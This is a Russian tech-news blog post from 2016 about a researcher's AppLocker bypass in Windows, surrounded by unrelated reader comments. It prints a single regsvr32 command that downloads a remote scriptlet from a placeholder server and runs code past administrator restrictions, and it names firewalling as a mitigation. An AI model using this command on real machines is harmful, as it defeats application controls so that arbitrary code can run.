Лилия К* предлагает Вам запомнить сайт «Гаджеты. Технологии. Интернет»
Вы хотите запомнить сайт «Гаджеты. Технологии. Интернет»?
Да Нет
×
Прогноз погоды

Электронные новинки интересные и разные

Безопасность Windows оказалась под угрозой

развернуть
Безопасность Windows оказалась под угрозой

В течение многих лет в бизнес-ориентированных версиях Windows присутствует функция AppLocker, которая позволяет администратору регулировать запуск тех или иных программ на компьютере. Например, можно запретить установку любых программ или запуск уже имеющихся приложений, которые не относятся к работе сотрудника. Это несомненно полезно для компаний, стремящихся защитить свою структуру от потенциально опасного ПО, однако исследователь Кейси Смит (Casey Smith) выяснил, что полностью доверять AppLocker не стоит, поскольку обнаруженная им уязвимость позволяет обходить ограничения администратора с помощью одной строки кода. Таким образом хакерам ничего не стоит взломать компьютеры и запустить вредоносное ПО.


Кейси Смит указал на инструмент Regsvr32, который можно использовать не по назначению для скачивания из интернета определенного XML-файла. Ввод команды вида regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll и скачивание файла, приведет к запуску cmd.exe, который можно заменить на любую другую программу, несмотря на установленные администратором ограничения в AppLocker. Атака не оставляет следов на жестком диске и в реестре, а в арсенале Microsoft пока не существует соответствующей «заплатки» для этой уязвимости. Описание ее Смит опубликовал на сервисе GitHub. Как вариант защиты рекомендуется отрезать Regsvr32 от интернета с помощью файервола.

Источник


Опубликовано 27.04.2016 в 22:01

Комментарии

Показать предыдущие комментарии (показано %s из %s)
Показать новые комментарии
Комментарии Facebook
Свежее
Создана игрушка для любителей выдавливать прыщи
23 фев, 21:02
+34 0
Робот научился у таракана извлекать пользу из ударов о стену
23 фев, 19:01
+36 0
Роботы размером тоньше человеческого волоса могут заставить голодать и уменьшаться раковые опухоли
23 фев, 17:01
+37 0
Новое устройство ускорит таяние снега
23 фев, 16:01
+29 0
Роскомнадзор начал штрафовать операторов связи за использование Google Global Cache
23 фев, 15:01
+33 2
Android P: шпионить через камеру теперь не удастся
23 фев, 14:01
+34 0
Закон о запрете VPN оказался ненужным
23 фев, 13:02
+41 2
Энтузиаста, оплачивавшего проезд вживлённым чипом, оштрафовали
23 фев, 12:01
+34 0
Создана "электронная кожа" для наблюдения за состоянием здоровья
23 фев, 11:02
+36 2
Microsoft случайно рассекретила новую Windows
23 фев, 10:01
+39 0
Читать

Facebook Like Box

Поиск по блогу

Последние комментарии

Алёнка 666
ММ
werewolf
Артем Безуглов
Νίκος orfanidis
Юрий Ермолин
Lora Некрасова
Россиянин .
Антонина Катасонова
Сергей Дербенцев
Правильные какие .   Ажнак тошнит .
Сергей Дербенцев Роскомнадзор заблокировал 20 пиратских сайтов
СИНИЦА
Голь на выдумки сильна
СИНИЦА Я у мамы инженер
Валерий Викторович Баженов
Ренат Шакиров
Надо же как то зряплату отрабатывать!
Ренат Шакиров Роскомнадзор заблокировал 20 пиратских сайтов
артур пирожкoff
Soft Valley Group
Владимир Виноградов
Очередной МММ!
Владимир Виноградов Россияне разработали идею бесплатной сети Wi-Fi на блокчейне
Андрей Горбунов
Сергей Замыслов
ГУСеры - вещь!
Сергей Замыслов Я у мамы инженер
Раиса Фазлетдинова
Ужас!
Раиса Фазлетдинова Я у мамы инженер
Obiivatel
Александр П-старший
Михаил Бугаенко
Михаил Бугаенко
Александр Дзенит
Валерий Дедков
А светофор не проще ли?
Валерий Дедков Кто бы подумал: советский робот-регулировщик 1967 года
Игорь Барышев
николай горяев
Νίκος orfanidis
интересно..
Νίκος orfanidis Энтузиасту грозит 15 месяцев тюрьмы за копирование бесплатных дисков Dell Restore CD
Саничка К
Критик Достижений
Аладин
Храните деньги в сберегательной кассе! Если они у Вас конечно есть.
Аладин Взломана «неприступная» защита Windows 10
Валерий Дедков
Британские ученые...
Валерий Дедков Энтузиаст компьютерного дела собрал 8-битный процессор из подручных материалов
Владимир Барашкин
Так я же написал вопрос.
Владимир Барашкин Как освободить оперативную память на компьютере?
артур пирожкoff
а какои нада ?
артур пирожкoff Как освободить оперативную память на компьютере?
Владимир Барашкин
Спасибо Товарищ Артур за ответ, которого нет!!!
Владимир Барашкин Как освободить оперативную память на компьютере?
артур пирожкoff
убири амига
артур пирожкoff Как освободить оперативную память на компьютере?
Сафари Магзумов
Поддержим отечественного производство !
Сафари Магзумов В продаже появился новый российский бюджетный смартфон
Владимир
Владимир Барашкин
Валерий Дедков
Заработало... спасибки...
Валерий Дедков Как освободить оперативную память на компьютере?
Анна Владимирова
Игорь Барышев
Критик Достижений
Viktor Resulov
Россиянин .
артур пирожкoff
артур пирожкoff
артур пирожкoff
Валерий Дедков
У меня тож самое... хде казявка?
Валерий Дедков Как освободить оперативную память на компьютере?
Алексей АК
10 фишек Android, о которых …

10 фишек Android, о которых вы могли не знать

31 янв, 15:02
+63 0
Сделано в России: самые прор…

Сделано в России: самые прорывные гаджеты года

26 янв, 09:01
+53 8
Как освободить оперативную п…

Как освободить оперативную память на компьютере?

19 фев, 15:01
+52 13
Li-Fi – безопасный аналог Wi-Fi

Li-Fi – безопасный аналог Wi-Fi

27 янв, 15:01
+51 0
В Россию приходит «бюджетный…

В Россию приходит «бюджетный» AliExpress

7 фев, 09:01
+50 0